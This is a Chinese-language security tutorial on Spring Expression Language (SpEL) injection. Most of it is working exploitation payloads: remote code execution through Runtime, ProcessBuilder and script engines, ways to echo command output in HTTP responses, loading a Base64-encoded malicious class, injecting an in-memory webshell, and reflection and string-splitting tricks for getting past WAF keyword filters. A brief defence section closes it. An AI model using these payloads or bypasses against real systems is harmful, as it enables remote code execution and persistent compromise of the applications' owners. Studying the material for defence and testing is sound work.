JAVA安全之SpEL表达式执行
字数 865 2025-08-22 12:23:18
Spring Expression Language (SpEL) 表达式注入安全研究
一、SpEL 概述
Spring Expression Language (SpEL) 是 Spring 框架提供的一种强大的表达式语言,用于在运行时查询和操作对象图。主要特点包括:
- 支持方法调用和基本字符串模板功能
- 支持访问数组、集合和索引器
- 支持逻辑和算术运算
- 支持命名变量和从 Spring 容器中检索 bean
二、SpEL 基本用法
1. @Value 动态注入
@Component
public class ArithmeticService {
@Value("#{10 + 20}")
private int sum;
@Value("#{30 - 15}")
private int difference;
@Value("#{5 * 6}")
private int product;
@Value("#{40 / 8}")
private int quotient;
@Value("#{10 % 3}")
private int remainder;
}
2. XML 配置中使用
<bean id="appConfig" class="java.util.Properties">
<property name="someProperty" value="#{systemProperties['user.name']}"/>
</bean>
<bean id="greetingService" class="com.example.GreetingService">
<property name="greetingMessage" value="#{'Hello, ' + appConfig.someProperty}"/>
</bean>
3. 代码中使用
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression("('Hello' + ' Al1ex').concat(#end)");
EvaluationContext context = new StandardEvaluationContext();
context.setVariable("end", "!");
System.out.println(expression.getValue(context));
三、SpEL 注入漏洞原理
当用户可以控制输入的表达式且能绕过黑名单限制时,可能导致远程代码执行(RCE)。漏洞核心在于:
- SpEL 表达式会被解析为 AST 语法树并计算每个节点
- SpEL 可以操作类及其方法
- 使用
StandardEvaluationContext允许执行任意代码
四、漏洞利用方式
1. 基本利用方式
通过 java.lang.Runtime
String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(spel);
System.out.println(expression.getValue());
简化形式:
String spel = "T(Runtime).getRuntime().exec(\"calc\")";
通过 java.lang.ProcessBuilder
String spel = "new java.lang.ProcessBuilder(new String[]{\"calc\"}).start()";
简化形式:
String spel = "new ProcessBuilder({'calc'}).start()";
通过 javax.script.ScriptEngineManager
String spel = "new javax.script.ScriptEngineManager().getEngineByName(\"nashorn\")" +
".eval(\"s=[1];s[0]='calc';java.lang.Runtime.getRuntime().exec(s);\")";
2. 回显技术
使用 RequestContextHolder
T(org.springframework.util.StreamUtils).copy(
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript")
.eval(T(java.net.URLDecoder).decode("java.lang.Runtime.getRuntime().exec('cmd.exe /c ipconfig').getInputStream()")),
T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes()
.getResponse().getOutputStream())
添加响应头回显
T(org.springframework.web.context.request.RequestContextHolder)
.getRequestAttributes().getResponse().addHeader("Al1ex", "success")
命令执行结果回显
T(org.springframework.web.context.request.RequestContextHolder)
.getRequestAttributes().getResponse().addHeader(
new java.util.Scanner(
new java.lang.ProcessBuilder("ipconfig").start().getInputStream(),
"GBK").useDelimiter("al1ex").next(),
"true")
3. 加载恶意类
- 编译恶意类:
public class al1ex {
static {
try {
Runtime.getRuntime().exec("cmd.exe /c calc.exe");
} catch (Exception e){
e.printStackTrace();
}
}
}
- Base64 编码 class 文件
- 通过 SpEL 加载:
T(org.springframework.cglib.core.ReflectUtils).defineClass(
'al1ex',
T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('yv66vgAAADQ...'),
T(org.springframework.util.ClassUtils).getDefaultClassLoader())
4. 内存马注入
使用 Evil 类注入内存马:
T(org.springframework.cglib.core.ReflectUtils).defineClass(
'Evil',
T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADQBHQoATACSC...'),
new javax.management.loading.MLet(new java.net.URL[0],
T(java.lang.Thread).currentThread().getContextClassLoader()))
五、WAF 绕过技术
1. 常用载荷
#{12*12}
#{T(java.lang.Runtime).getRuntime().exec("calc")}
#{new java.lang.ProcessBuilder('cmd','/c','calc').start()}
#{T(Thread).sleep(10000)}
2. 反射调用绕过关键字过滤
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")
.getMethod("ex"+"ec",T(String[]))
.invoke(
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")
.getMethod("getRu"+"ntime").invoke(null),
new String[]{"cmd","/C","calc"})
3. 引号过滤绕过
T(java.lang.Character).toString(97).concat(T(java.lang.Character).toString(98))
六、防御措施
- 使用 SimpleEvaluationContext 替代 StandardEvaluationContext
ExpressionParser parser = new SpelExpressionParser();
SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";
Expression expression = parser.parseExpression(spel);
Integer result = expression.getValue(context, Integer.class);
- 输入验证和过滤
- 限制表达式解析权限
- 使用沙箱环境执行表达式